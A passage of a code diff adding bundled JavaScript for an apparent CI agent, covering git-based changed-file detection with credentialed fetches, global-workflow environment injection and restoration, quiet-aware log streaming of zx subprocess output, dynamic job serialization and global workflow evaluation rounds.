+const ZERO_SHA = /^0+$/;
+const MAX_DEEPEN = 4;
+const DEEPEN_STEP = 50;
+const BASE_GIT_ARGS = [
+	"-c",
+	"safe.directory=*",
+	"-c",
+	"core.quotePath=false"
+];
+/** Build the auth context for the fetches, mirroring git-clone.ts's auth. */
+async function buildAuthCtx(auth) {
+	if (!auth) return { args: [] };
+	if (auth.kind === "basic") {
+		const user = auth.user ?? "x-access-token";
+		return { args: ["-c", `http.extraHeader=Authorization: Basic ${Buffer.from(`${user}:${auth.secret}`).toString("base64")}`] };
+	}
+	const sshSetup = await setupSshAuth({
+		privateKey: auth.secret,
+		hostKeyPolicy: auth.sshHostKeyPolicy,
+		knownHosts: auth.sshKnownHostsPem
+	});
+	return {
+		args: [],
+		env: { GIT_SSH_COMMAND: sshSetup.gitSshCommand },
+		cleanup: () => sshSetup.cleanup()
+	};
+}
+function git(workDir, args, ctx) {
+	return execFileSync("git", [
+		...ctx.args,
+		...BASE_GIT_ARGS,
+		"-C",
+		workDir,
+		...args
+	], {
+		encoding: "utf8",
+		stdio: [
+			"ignore",
+			"pipe",
+			"pipe"
+		],
+		...ctx.env && { env: {
+			...process.env,
+			...ctx.env
+		} }
+	});
+}
+function tryGit(workDir, args, ctx) {
+	try {
+		git(workDir, args, ctx);
+		return true;
+	} catch {
+		return false;
+	}
+}
+function parseNameOnly(out) {
+	return out.split("\n").map((s) => s.replace(/\r$/, "")).filter((s) => s.length > 0);
+}
+/** Ensure `commitish` exists locally; fetch / deepen (bounded) if not. */
+function ensureCommit(workDir, commitish, ctx) {
+	if (tryGit(workDir, [
+		"cat-file",
+		"-e",
+		`${commitish}^{commit}`
+	], ctx)) return true;
+	if (tryGit(workDir, [
+		"fetch",
+		"--depth",
+		"1",
+		"origin",
+		commitish
+	], ctx)) {
+		if (tryGit(workDir, [
+			"cat-file",
+			"-e",
+			`${commitish}^{commit}`
+		], ctx)) return true;
+	}
+	for (let i = 0; i < MAX_DEEPEN; i++) {
+		if (!tryGit(workDir, [
+			"fetch",
+			`--deepen=${DEEPEN_STEP}`,
+			"origin"
+		], ctx)) break;
+		if (tryGit(workDir, [
+			"cat-file",
+			"-e",
+			`${commitish}^{commit}`
+		], ctx)) return true;
+	}
+	return false;
+}
+function pushDiff(workDir, before, ctx) {
+	const isZero = !before || ZERO_SHA.test(before);
+	const baseRef = isZero ? EMPTY_TREE_SHA : before;
+	if (!isZero && !ensureCommit(workDir, before, ctx)) return {
+		files: [],
+		status: "unavailable"
+	};
+	return {
+		files: parseNameOnly(git(workDir, [
+			"diff",
+			"--name-only",
+			baseRef,
+			"HEAD"
+		], ctx)),
+		status: "fetched"
+	};
+}
+function prDiff(workDir, base, ctx) {
+	const candidates = [
+		base,
+		`origin/${base}`,
+		"FETCH_HEAD"
+	];
+	const resolveBase = () => candidates.find((c) => tryGit(workDir, [
+		"rev-parse",
+		"--verify",
+		`${c}^{commit}`
+	], ctx));
+	let baseRef = resolveBase();
+	if (!baseRef) {
+		if (!ensureCommit(workDir, base, ctx)) return {
+			files: [],
+			status: "unavailable"
+		};
+		baseRef = resolveBase();
+	}
+	if (!baseRef) return {
+		files: [],
+		status: "unavailable"
+	};
+	for (let i = 0; i <= MAX_DEEPEN; i++) {
+		if (tryGit(workDir, [
+			"merge-base",
+			baseRef,
+			"HEAD"
+		], ctx)) return {
+			files: parseNameOnly(git(workDir, [
+				"diff",
+				"--name-only",
+				`${baseRef}...HEAD`
+			], ctx)),
+			status: "fetched"
+		};
+		if (!tryGit(workDir, [
+			"fetch",
+			`--deepen=${DEEPEN_STEP}`,
+			"origin"
+		], ctx)) break;
+	}
+	return {
+		files: [],
+		status: "unavailable"
+	};
+}
+/**
+* Compute the changed-files list from the agent's local clone (HEAD is the
+* checked-out head commit). Ground truth for job/step rule evaluation. `auth`
+* (the same credentials used for the clone) authenticates the deepen / fetch
+* calls so a private remote resolves. Returns `unavailable` for diff-less
+* events (schedule/tag/manual) or any git failure — never throws.
+*/
+async function computeChangedFiles(workDir, event, auth) {
+	let ctx;
+	try {
+		if (event.type !== "push" && event.type !== "pull_request") return {
+			files: [],
+			status: "unavailable"
+		};
+		ctx = await buildAuthCtx(auth);
+		if (event.type === "push") return pushDiff(workDir, event.payload?.before ?? "", ctx);
+		const base = event.baseBranch ?? event.targetBranch;
+		if (!base) return {
+			files: [],
+			status: "unavailable"
+		};
+		return prDiff(workDir, base, ctx);
+	} catch {
+		return {
+			files: [],
+			status: "unavailable"
+		};
+	} finally {
+		if (ctx?.cleanup) await ctx.cleanup().catch(() => {});
+	}
+}
+//#endregion
+//#region src/execution/global-workflow-env.ts
+/**
+* Derive an `owner/repo` identifier from a clone URL, stripping the trailing
+* `.git` and any `http(s)://host/` prefix.
+*/
+function repoIdentifierFromUrl(repoUrl) {
+	return repoUrl.replace(/\.git$/, "").replace(/^https?:\/\/[^/]+\//, "");
+}
+/** Every env key {@link applyGlobalWorkflowEnv} writes, in one place. */
+const GLOBAL_WORKFLOW_ENV_KEYS = [
+	"KICI_IS_GLOBAL_WORKFLOW",
+	"KICI_WORKFLOW_REPO_PATH",
+	"KICI_SOURCE_REPO_PATH",
+	"KICI_SOURCE_REPO",
+	"KICI_SOURCE_BRANCH",
+	"KICI_SOURCE_SHA",
+	"KICI_WORKFLOW_REPO"
+];
+/**
+* Inject the seven global-workflow env keys and return a restorer that puts
+* `process.env` back exactly as it was — each key reset to its prior value, or
+* deleted if it had none.
+*
+* **The restorer is mandatory for any caller in a long-lived process.** The
+* sandbox may ignore it: it runs one job per forked child, which exits. The
+* pre-dispatch global eval round may NOT: it runs in the agent process, which
+* serves many dispatches from one `JobRunner`. Leaving the keys set there is
+* this module's own hazard running backwards — a later NON-global
+* `DynamicJobFn` evaluation builds its generator context with
+* `env: process.env` still carrying `KICI_IS_GLOBAL_WORKFLOW=true` and a
+* `KICI_SOURCE_REPO_PATH` pointing at a deleted work directory, while that
+* job's own sandbox re-evaluation sees neither (`buildSanitizedEnv` scrubs the
+* whole `KICI_*` namespace on the trusted profile, and the default profile is
+* allowlist-only). That is the same two-worlds determinism failure, injected
+* into an unrelated job.
+*
+* `RepoInfo.ref` / `.sha` are optional, so an evaluation with no checkout
+* metadata writes an empty string rather than leaving the key unset — matching
+* how `KICI_WORKFLOW_REPO` already handles a missing identifier. Assigning
+* `undefined` to a `process.env` key would stringify to `"undefined"`, which is
+* worse than either.
+*/
+function applyGlobalWorkflowEnv(repos) {
+	const prior = GLOBAL_WORKFLOW_ENV_KEYS.map((key) => [key, process.env[key]]);
+	process.env.KICI_IS_GLOBAL_WORKFLOW = "true";
+	process.env.KICI_WORKFLOW_REPO_PATH = repos.workflowRepo.path;
+	process.env.KICI_SOURCE_REPO_PATH = repos.sourceRepo.path;
+	process.env.KICI_SOURCE_REPO = repos.sourceRepo.identifier;
+	process.env.KICI_SOURCE_BRANCH = repos.sourceRepo.ref ?? "";
+	process.env.KICI_SOURCE_SHA = repos.sourceRepo.sha ?? "";
+	process.env.KICI_WORKFLOW_REPO = repos.workflowRepo.identifier;
+	return () => {
+		for (const [key, value] of prior) if (value === void 0) delete process.env[key];
+		else process.env[key] = value;
+	};
+}
+//#endregion
+//#region src/execution/streaming-zx-log.ts
+/**
+* Shared factory for the zx `log` callback that streams a subprocess's
+* stdout/stderr into the captured/streamed run log, line by line, via `emit`.
+*
+* zx does NOT write child stdout/stderr to `process.stdout`; it pipes the
+* child stdio to an internal VoidStream and surfaces each chunk through the
+* shell's `log` callback as `{ kind: 'stdout' | 'stderr', data, verbose }`.
+* The `verbose` flag is zx's per-invocation quiet/verbose decision:
+*
+*   - stdout entries: `verbose = !piped && (snapshot.verbose && !snapshot.quiet)`
+*   - stderr entries: `verbose = !snapshot.quiet`
+*
+* so a step that opts into `$({ quiet: true })` (e.g. a `sops -d` decrypt of a
+* credential) produces `verbose: false` entries. This factory HONORS that flag
+* — it skips `verbose: false` entries — which is what makes `{ quiet: true }`
+* actually suppress sensitive output from the run log. Without the gate, a
+* decrypted-secret line leaks into the persisted/streamed log (zx's own default
+* log function gates on the same flag: `if (!entry.verbose) return`).
+*
+* IMPORTANT: the shell that installs this callback MUST be constructed with
+* `verbose: true`. With `verbose: true` zx flags ordinary (non-quiet)
+* subprocess output `verbose: true` (captured) and a `{ quiet: true }` call
+* `verbose: false` (suppressed). A `verbose: false` base would flag ordinary
+* output `verbose: false` too, and this gate would then drop every line.
+*
+* The returned callback owns one line buffer PER STREAM, so partial chunks are
+* coalesced into whole lines before `emit` is called. The buffers are separate
+* because the two streams are independent pipes: a stdout chunk ending mid-line
+* and a stderr chunk arriving next would otherwise concatenate into a single
+* spliced line attributed to whichever kind completed it.
+*
+* `emit` receives the originating stream alongside the line so a diagnostic
+* written to stderr stays distinguishable from ordinary progress output all the
+* way to the persisted run log.
+*/
+function makeStreamingZxLog(emit) {
+	const lineBufs = {
+		[LogStream.enum.stdout]: "",
+		[LogStream.enum.stderr]: ""
+	};
+	return (entry) => {
+		const e = entry;
+		if (e.kind !== "stdout" && e.kind !== "stderr") return;
+		if (!e.verbose) return;
+		const stream = e.kind === "stderr" ? LogStream.enum.stderr : LogStream.enum.stdout;
+		const text = typeof e.data === "string" ? e.data : String(e.data ?? "");
+		const lines = (lineBufs[stream] + text).split("\n");
+		lineBufs[stream] = lines.pop();
+		for (const line of lines) if (line) emit(line, stream);
+	};
+}
+/**
+* Build the source / workflow repo pair the round hands to every filter and
+* generator. Mirrors the sandbox's own `setupGlobalWorkflowEnv` construction so
+* a generator's two evaluations see the same identifiers, refs, and shas — only
+* the absolute paths differ, and those are never compared.
+*/
+function buildRoundRepos(dispatch, config, workflowDir, sourceDir) {
+	return {
+		workflowRepo: {
+			identifier: config.workflowRepoIdentifier ?? repoIdentifierFromUrl(config.workflowRepoUrl),
+			path: workflowDir,
+			ref: config.workflowRef,
+			sha: config.workflowSha
+		},
+		sourceRepo: {
+			identifier: repoIdentifierFromUrl(dispatch.repoUrl),
+			path: sourceDir,
+			ref: dispatch.ref,
+			sha: dispatch.sha
+		}
+	};
+}
+/**
+* Resolve the changed-files list a `filter` reads — for a global eval round and
+* for a filter-bearing init job alike.
+*
+* Ground truth is the agent's own source clone; an already-`fetched` list from
+* the orchestrator is a free fast-path. A diff-less event (schedule / tag /
+* manual) resolves to `unavailable`, which makes `ctx.changedFiles` throw
+* rather than read as an empty diff — a `filter` returning false produces no
+* run at all, so a silently-empty diff would suppress the workflow with no
+* artifact anywhere to inspect.
+*/
+async function resolveEvalChangedFiles(dispatch, event, sourceDir) {
+	const ev = event;
+	if (ev.changedFilesStatus === "fetched") return {
+		files: ev.changedFiles ?? [],
+		status: "fetched"
+	};
+	return computeChangedFiles(sourceDir, event, dispatch.sourceAuth ?? dispatch.workflowAuth ?? (dispatch.token ? {
+		kind: "basic",
+		user: "x-access-token",
+		secret: dispatch.token
+	} : void 0));
+}
+/**
+* Directory an init job clones the source repo into when the workflow declares a
+* `filter` and the job restored `.kici/` from the cached tarball instead of
+* cloning. Named with the `__kici` prefix so it cannot collide with a repo path.
+*/
+const FILTER_SOURCE_DIRNAME = "__kici_filter_source__";
+/**
+* Materialize the source tree a non-global workflow's `filter` reads through
+* `ctx.sourceRepo.path`.
+*
+* An init or dynamic-eval job normally restores only `.kici/` from the cached
+* source tarball — enough to import the workflow module, but a directory with no
+* repo in it. A filter that reads a file or shells out against that path would
+* get a confidently wrong answer, and `changedFiles` could not be computed at
+* all, so a filter-bearing job clones the source repo into a sibling directory.
+*
+* When no tarball was attached the job already cloned the whole repo into
+* `workDir`, and that clone is reused rather than duplicated — including the
+* local working-tree case, where there is no repo url and `workDir` IS the tree.
+*
+* A tarball with no repo url is the one combination that cannot be honoured:
+* `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
+* would hand the filter a directory in which every path test answers "absent" —
+* the exact silent lie this function exists to prevent — so it throws instead.
+*/
+async function ensureFilterSourceDir(dispatch, workDir) {
+	if (!dispatch.sourceTarUrl) return workDir;
+	if (!dispatch.repoUrl) throw new Error("Workflow declares a filter, but this job restored its source from the cache with no repo url to clone from — the filter would see an empty tree. Re-run with a source repository configured, or remove the filter.");
+	const sourceDir = join(workDir, FILTER_SOURCE_DIRNAME);
+	const sourceAuth = dispatch.sourceAuth;
+	await gitClone({
+		repoUrl: dispatch.repoUrl,
+		ref: dispatch.ref,
+		sha: dispatch.sha,
+		workDir: sourceDir,
+		gitAuth: sourceAuth,
+		token: sourceAuth ? void 0 : dispatch.token
+	});
+	return sourceDir;
+}
+/**
+* Build the context a non-global workflow's `filter` is evaluated against.
+*
+* `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
+* means — so both carry the same identifier, path, ref, and sha. The zx shell is
+* rooted at the source tree and streams into the evaluating step's log, matching
+* what the global eval round hands its own filters.
+*
+* They are two distinct objects all the same. Being the same repo is a fact
+* about their VALUES, not a licence to hand the author one object under two
+* names: a filter that mutated `ctx.sourceRepo` would silently see
+* `ctx.workflowRepo` change with it, which happens on no other path.
+*/
+async function buildInitFilterInput(dispatch, event, workDir, emit) {
+	const sourceDir = await ensureFilterSourceDir(dispatch, workDir);
+	const diff = await resolveEvalChangedFiles(dispatch, event, sourceDir);
+	const repo = {
+		identifier: repoIdentifierFromUrl(dispatch.repoUrl),
+		path: sourceDir,
+		ref: dispatch.ref,
+		sha: dispatch.sha
+	};
+	return {
+		sourceRepo: repo,
+		workflowRepo: { ...repo },
+		changedFiles: diff.files,
+		changedFilesStatus: diff.status,
+		env: process.env,
+		$: await buildEvalShell(sourceDir, emit)
+	};
+}
+/**
+* Build the per-invocation zx `$` a global eval round hands to filters and
+* generators, so a `await $\`…\`` inside one is visible in the eval step's log.
+*
+* **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
+* snapshot taken when the shell is built, which is before the round applies the
+* seven `KICI_*` keys — so a filter that shells out (`$\`printenv
+* KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
+* here while the sandbox re-evaluation's ambient `$` resolves `process.env`
+* after `setupGlobalWorkflowEnv` has run and does see them. That is the same
+* two-worlds determinism failure the cwd choice below exists to prevent, one
+* layer down. Passing the live reference reproduces the ambient `$`'s own
+* behaviour, which is what the sandbox uses.
+*
+* `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
+* decrypted secret never leaks into the log.
+*
+* `emit` is a callback rather than the `LogStreamer` itself so the caller can
+* route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
+* flag and `addLine` buffers unconditionally, so a subprocess line arriving
+* after the step was reported would otherwise emit a `log.chunk` for a terminal
+* step. That is the likeliest path for it — an orphaned candidate is usually
+* orphaned *because* it is waiting on a subprocess.
+*/
+async function buildEvalShell(cwd, emit) {
+	const { $: zx$ } = await import("zx");
+	return zx$({
+		cwd,
+		env: process.env,
+		verbose: true,
+		quiet: false,
+		log: makeStreamingZxLog(emit)
+	});
+}
+/**
+* Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
+* snapshot. Returns undefined for an event-only generator (no snapshot).
+*/
+function buildEvalNeedsContext(config) {
+	if (!config.resultAware || !config.upstreamSnapshot) return void 0;
+	return buildNeedsContext(config.upstreamSnapshot, config.declaredNeeds ?? []);
+}
+//#endregion
+//#region src/execution/dynamic-job-serializer.ts
+/**
+* Thrown when resolving a job's dynamic matrix fails (the matrix function threw
+* or timed out, or returned an unsupported value). Lets the agent attribute the
+* failure to the matrix_expansion init-failure category instead of the generic
+* dynamic_eval bucket.
+*/
+var MatrixExpansionError = class MatrixExpansionError extends Error {
+	jobName;
+	name = "MatrixExpansionError";
+	constructor(jobName, message) {
+		super(message);
+		this.jobName = jobName;
+		Object.setPrototypeOf(this, MatrixExpansionError.prototype);
+	}
+};
+/** Default per-call timeout for evaluating dynamic env/matrix functions on generated jobs. */
+const DYNAMIC_FIELD_TIMEOUT_MS = 6e4;
+/**
+* Convert an array of SDK Job objects into LockJob format for the orchestrator.
+*
+* @param jobs - Jobs returned by a DynamicJobFn
+* @param ctx - Eval-time context used to resolve dynamic fields on generated jobs
+* @param seenNames - Optional accumulator of job names already emitted earlier
+*   in the same eval round; when supplied, a name already present throws and
+*   every generated name is added so later generators in the round see it
+* @returns Serialized LockJob array ready for orchestrator dispatch
+* @throws Error if validation fails (duplicates, limit exceeded) or if a user-supplied
+*   dynamic function throws / times out / returns an unsupported value
+*/
+async function serializeJobsToLock(jobs, ctx, staticNames, allowedGroups, seenNames) {
+	if (jobs.length > 100) throw new Error(`DynamicJobFn generated ${jobs.length} jobs, exceeding the limit of 100`);
+	const generatedNames = /* @__PURE__ */ new Set();
+	const roundNames = seenNames ?? /* @__PURE__ */ new Set();
+	for (const job of jobs) {
+		if (roundNames.has(job.name)) throw new Error(`Duplicate job name '${job.name}' in dynamic job output`);
+		generatedNames.add(job.name);
+		roundNames.add(job.name);
+	}
+	const result = [];
+	for (const job of jobs) result.push(await serializeJob(job, generatedNames, ctx, staticNames ?? /* @__PURE__ */ new Set(), allowedGroups ?? /* @__PURE__ */ new Set()));
+	return result;
+}
+async function serializeJob(job, generatedNames, ctx, staticNames, allowedGroups) {
+	const { include: runsOn, exclude: excludeLabels } = job.invoke && job.runsOn === void 0 ? {
+		include: [],
+		exclude: []
+	} : normalizeRunsOnToMatchers(job.runsOn, `generated job '${job.name}' runsOn`);
+	const envRefs = job.contexts ?? (job.context !== void 0 ? [job.context] : void 0);
+	let resolvedContexts;
+	if (envRefs !== void 0 && envRefs.length > 0) {
+		const resolved = [];
+		for (const ref of envRefs) if (typeof ref === "function") {
+			const value = await withTimeout(() => ref(ctx.event), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic environment for generated job '${job.name}'`);
+			if (value !== void 0 && value !== null) resolved.push({
+				value,
+				dynamic: false
+			});
+		} else if (typeof ref === "string") resolved.push({
+			value: ref,
+			dynamic: false
+		});
+		if (resolved.length > 0) resolvedContexts = resolved;
+	}
+	let resolvedEnv;
+	if (typeof job.env === "function") {
+		const value = await withTimeout(() => job.env(ctx.event), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic env for generated job '${job.name}'`);
+		if (value !== void 0 && value !== null) resolvedEnv = value;
+	} else if (job.env && typeof job.env === "object") resolvedEnv = job.env;
+	let resolvedConcurrencyGroup;
+	if (typeof job.concurrencyGroup === "function") {
+		const value = await withTimeout(() => job.concurrencyGroup(ctx.event), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic concurrencyGroup for generated job '${job.name}'`);
+		if (value !== void 0 && value !== null) resolvedConcurrencyGroup = value;
+	} else if (typeof job.concurrencyGroup === "string") resolvedConcurrencyGroup = job.concurrencyGroup;
+	const resolvedMatrix = job.matrix ? await serializeMatrix(job.matrix, job.name, runsOn, ctx) : void 0;
+	const resolvedNeeds = resolveNeeds(job.needs, generatedNames, staticNames, allowedGroups);
+	const dependsOnGroups = resolvedNeeds.filter((n) => typeof n === "object" && "group" in n).map((n) => n.group);
+	return {
+		_type: "static",
+		name: job.name,
+		...job.invoke && runsOn.length === 0 ? {} : { runsOn },
+		...excludeLabels.length > 0 ? { excludeLabels } : {},
+		needs: resolvedNeeds,
+		...dependsOnGroups.length > 0 ? { dependsOnGroups } : {},
+		steps: serializeSteps(job.steps),
+		...resolvedMatrix ? { matrix: resolvedMatrix } : {},
+		...job.include ? { include: job.include } : {},
+		...job.exclude ? { exclude: job.exclude } : {},
+		...job.description ? { description: job.description } : {},
+		...resolvedContexts !== void 0 ? { contexts: resolvedContexts } : {},
+		...resolvedEnv !== void 0 ? { env: resolvedEnv } : {},
+		...resolvedConcurrencyGroup !== void 0 ? { concurrencyGroup: resolvedConcurrencyGroup } : {},
+		...job.invoke ? { invoke: {
+			event: job.invoke.event,
+			scope: job.invoke.scope,
+			...job.invoke.payload !== void 0 ? { payload: job.invoke.payload } : {},
+			...job.invoke.optional === true ? { optional: true } : {}
+		} } : {}
+	};
+}
+/**
+* Resolve needs references. Jobs can reference other jobs by name (string),
+* Job object reference, DynamicGroupRef, or NeedsEntry/NeedsGroupEntry objects.
+* Validates against generatedNames union staticNames union allowedGroups.
+*
+* Returns the lock file representation: strings for concrete refs,
+* NeedsEntry for { name, when }, NeedsGroupEntry for group refs (each `when`
+* normalized to a runOn status-set).
+*/
+function resolveNeeds(needs, generatedNames, staticNames, allowedGroups) {
+	if (!needs || needs.length === 0) return [];
+	const allNames = /* @__PURE__ */ new Set([...generatedNames, ...staticNames]);
+	return needs.map((dep) => {
+		if (typeof dep === "string") {
+			if (!allNames.has(dep)) throw new Error(`Job dependency '${dep}' not found in workflow jobs (checked: ${generatedNames.size} generated, ${staticNames.size} static)`);
+			return dep;
+		}
+		if (isDynamicGroupRef(dep)) {
+			const groupRef = dep;
+			if (!allowedGroups.has(groupRef.group)) throw new Error(`Dynamic group '${groupRef.group}' not found in workflow (available groups: ${[...allowedGroups].join(", ") || "none"})`);
+			return {
+				group: groupRef.group,
+				runOn: resolveWhenToRunOn(groupRef.when)
+			};
+		}
+		if (typeof dep === "object" && dep !== null && "group" in dep) {
+			const groupDep = dep;
+			if (!allowedGroups.has(groupDep.group)) throw new Error(`Dynamic group '${groupDep.group}' not found in workflow (available groups: ${[...allowedGroups].join(", ") || "none"})`);
+			return {
+				group: groupDep.group,
+				runOn: resolveWhenToRunOn(groupDep.when)
+			};
+		}
+		if (typeof dep === "object" && dep !== null && "name" in dep && !("steps" in dep)) {
+			const namedDep = dep;
+			if (!allNames.has(namedDep.name)) throw new Error(`Job dependency '${namedDep.name}' not found in workflow jobs (checked: ${generatedNames.size} generated, ${staticNames.size} static)`);
+			return {
+				name: namedDep.name,
+				runOn: resolveWhenToRunOn(namedDep.when)
+			};
+		}
+		if (isDynamicJobFn(dep)) throw new Error("Job dependency cannot be a DynamicJobFn");
+		const name = dep.name;
+		if (!allNames.has(name)) throw new Error(`Job dependency '${name}' not found in workflow jobs (checked: ${generatedNames.size} generated, ${staticNames.size} static)`);
+		return name;
+	});
+}
+/**
+* Serialize step definitions to lock file format.
+* Steps are minimal in the lock file — just metadata. The actual run functions
+* are loaded from the workflow bundle at execution time.
+*/
+function serializeSteps(steps) {
+	let flatIndex = 0;
+	return steps.map((entry) => {
+		if (isParallelGroup(entry)) {
+			const children = entry.steps.map((child) => serializeSequentialStep(child, flatIndex++));
+			return {
+				kind: "parallel",
+				name: entry.name ?? `parallel-${children[0]?.name ?? "group"}`,
+				failFast: entry.failFast,
+				...entry.maxParallel !== void 0 ? { maxParallel: entry.maxParallel } : {},
+				children
+			};
+		}
+		return serializeSequentialStep(entry, flatIndex++);
+	});
+}
+/** Serialize one sequential step (or bare function) to a flat `LockStep`. */
+function serializeSequentialStep(stepOrFn, index) {
+	if (typeof stepOrFn === "function") return {
+		name: `step-${index}`,
+		hasOutputs: false
+	};
+	const step = stepOrFn;
+	return {
+		name: step.name || `step-${index}`,
+		hasOutputs: !!step.outputs,
+		...step.continueOnError ? { continueOnError: true } : {},
+		...step.timeout ? { timeout: step.timeout } : {},
+		...step.retry ? { retry: {
+			maxAttempts: step.retry.maxAttempts,
+			delayMs: step.retry.delayMs,
+			backoff: step.retry.backoff,
+			maxDelayMs: step.retry.maxDelayMs
+		} } : {}
+	};
+}
+/**
+* Serialize matrix configuration. Static array/object matrices are embedded as-is;
+* dynamic matrix functions are invoked against the eval context (mirroring the
+* DynamicMatrixContext signature) and the resulting array/object is embedded.
+*/
+async function serializeMatrix(matrix, jobName, runsOn, ctx) {
+	if (isStaticArray(matrix)) return {
+		_type: "static",
+		values: matrix
+	};
+	if (isStaticObject(matrix)) return {
+		_type: "static",
+		values: matrix
+	};
+	const matrixCtx = {
+		$: ctx.$,
+		ctx: {
+			workflow: { name: ctx.workflowName },
+			job: {
+				name: jobName,
+				runsOn: runsOn.map((m) => m.kind === "exact" ? m.value : `/${m.source}/${m.flags}`)
+			}
+		},
+		log: ctx.log,
+		env: ctx.env
+	};
+	let values;
+	try {
+		values = await withTimeout(() => matrix(matrixCtx), DYNAMIC_FIELD_TIMEOUT_MS, `dynamic matrix for generated job '${jobName}'`);
+	} catch (err) {
+		throw new MatrixExpansionError(jobName, `Matrix expansion failed for job '${jobName}': ${err.message}`);
+	}
+	if (Array.isArray(values)) return {
+		_type: "static",
+		values
+	};
+	if (values && typeof values === "object") return {
+		_type: "static",
+		values
+	};
+	throw new MatrixExpansionError(jobName, `Job '${jobName}': dynamic matrix function returned an unsupported value (expected array or object, got ${typeof values})`);
+}
+//#endregion
+//#region src/execution/global-eval-runner.ts
+init_generator_context();
+const NOOP_LOG = {
+	info: () => {},
+	warn: () => {},
+	error: () => {},
+	debug: () => {}
+};
+function buildRoundState(args) {
+	const loadModule = args.loadModule ?? (async (sourceFile) => (await loadWorkflowSource(args.workflowDir, sourceFile)).module);
+	return {
+		args,
+		$: args.$ ?? $,
+		log: args.log ?? NOOP_LOG,
+		kici: args.kici ?? buildKiciApi(() => Promise.reject(/* @__PURE__ */ new Error("Agent API not available"))),
+		loadModule,
+		moduleCache: /* @__PURE__ */ new Map()
+	};
+}
+/** Load a workflow, caching per source file so a shared module is imported once. */
+async function loadWorkflowCached(shared, sourceFile, workflowName) {
+	let pending = shared.moduleCache.get(sourceFile);
+	if (!pending) {
+		pending = shared.loadModule(sourceFile);
+		shared.moduleCache.set(sourceFile, pending);
+	}
+	return extractWorkflow(await pending, workflowName);
+}
+/**
+* Run every `DynamicJobFn` the workflow declares and serialize the result.
+*
+* The generator context is built through `buildGeneratorContext` with the same
+* repo pair the sandbox re-evaluation gets, so the two calls a generator
+* receives cannot drift apart. Returns `undefined` when the workflow declares
+* no generators, which keeps the `jobs` key off the wire entirely.
+*/
+async function generateDynamicJobs(workflow, shared) {
+	const { args } = shared;
+	const generators = workflow.jobs.filter(isDynamicJobFn);
+	if (generators.length === 0) return void 0;
+	const serializerCtx = {
+		event: args.event,
+		$: shared.$,
+		log: shared.log,
+		env: process.env,
+		workflowName: workflow.name
+	};
+	const jobs = [];
+	const seenNames = /* @__PURE__ */ new Set();
+	for (const generator of generators) {
+		const generated = await generator(buildGeneratorContext({
+			workflowName: workflow.name,
+			event: args.event,
+			env: process.env,
+			repos: args.repos,
+			$: shared.$,
+			log: shared.log,
+			kici: shared.kici
+		}));
+		jobs.push(...await serializeJobsToLock(generated, serializerCtx, void 0, void 0, seenNames));
+	}
+	return jobs;
+}
+/**
+* Evaluate one candidate to a verdict: run its `filter` if it declares one,
+* then its generators if it survives.
+*/
+async function evaluateCandidateInner(candidate, shared) {
+	const { args } = shared;
+	const workflow = await loadWorkflowCached(shared, candidate.sourceFile, candidate.workflowName);
+	if (candidate.hasFilter) {
+		if (typeof workflow.filter !== "function") throw new Error(`Workflow '${candidate.workflowName}' is recorded as declaring a filter, but its module exports none — the lock file is out of date. Run 'kici compile' and commit the result.`);
+		const filterCtx = createFilterContext({
+			sourceRepo: args.repos.sourceRepo,
+			workflowRepo: args.repos.workflowRepo,
+			event: args.event,
+			changedFiles: args.changedFiles,
+			changedFilesStatus: args.changedFilesStatus,
+			env: process.env,
+			$: shared.$
+		});
+		if (!await workflow.filter(filterCtx)) return {
+			workflowName: candidate.workflowName,
+			run: false
+		};
+	}
+	const jobs = await generateDynamicJobs(workflow, shared);
+	return {
+		workflowName: candidate.workflowName,
+		run: true,
+		...jobs && { jobs }
+	};
+}
+/**
+* Evaluate one candidate, never throwing. A failure — a throwing filter, a
+* broken generator, a blown per-candidate budget — becomes an indeterminate
+* verdict so the round's other candidates still get real answers.
+*/
+async function evaluateCandidate(candidate, shared) {
+	try {
+		return await withTimeout(() => evaluateCandidateInner(candidate, shared), shared.args.candidateTimeoutMs, `global workflow '${candidate.workflowName}'`);
+	} catch (error) {
+		return {
+			workflowName: candidate.workflowName,
+			run: false,
+			indeterminate: true,
+			reason: error instanceof Error ? error.message : String(error)
+		};
+	}
+}
+/**
+* Evaluate candidates one at a time — they share one checkout and one working
+* directory, so a parallel `$` would race on cwd.
+*
+* Stops before starting a candidate once the round deadline has passed or the
+* caller aborted. That check is what keeps the sequential guarantee meaningful
+* past a timeout: `withTimeout` races rather than cancels, so without it the
+* loop would keep launching every remaining candidate — each up to
+* `candidateTimeoutMs` — into a work directory the job has already reported on
+* and whose cleanup has already deleted. With it, at most one candidate is ever
+* in flight past the deadline.
+*
+* Results are appended to the caller's array as they land, so a round that
+* blows its own budget can still report the verdicts it did establish rather
+* than discarding the work.
+*/
+async function evaluateAllCandidates(shared, into, deadline) {
+	for (const candidate of shared.args.candidates) {
+		if (shared.args.signal?.aborted || Date.now() >= deadline) return;
+		into.push(await evaluateCandidate(candidate, shared));
+	}
+}
+/**
+* Run one global eval round and return every candidate's verdict, in candidate
+* order. Never throws: a round that exceeds `roundTimeoutMs` reports whatever
+* it established and marks the rest indeterminate.
+*/
+async function runGlobalEvalRound(args) {
+	const restoreEnv = applyGlobalWorkflowEnv(args.repos);
+	const settled = [];
+	let stopReason;
+	try {
+		const shared = buildRoundState(args);
+		await withTimeout(() => evaluateAllCandidates(shared, settled, Date.now() + args.roundTimeoutMs), args.roundTimeoutMs, `global eval round (${args.candidates.length} candidate(s))`);
+	} catch (error) {
+		stopReason = error instanceof Error ? error.message : String(error);
+	} finally {
+		restoreEnv();
+	}
+	const candidates = [...settled];
+	const reason = stopReason ?? (args.signal?.aborted ? "global eval round was cancelled before this candidate was evaluated" : "global eval round deadline reached before this candidate was evaluated");
+	for (const candidate of args.candidates.slice(candidates.length)) candidates.push({
+		workflowName: candidate.workflowName,
+		run: false,
+		indeterminate: true,
+		reason
+	});
+	return { candidates };
+}
+//#endregion
+//#region src/execution/sandbox/eval-dispatch.ts
+/**
+* The four evaluations the eval child performs, with the IPC shell factored out.
+*
+* Separated from `eval-runner.ts` so this — the code that actually loads and
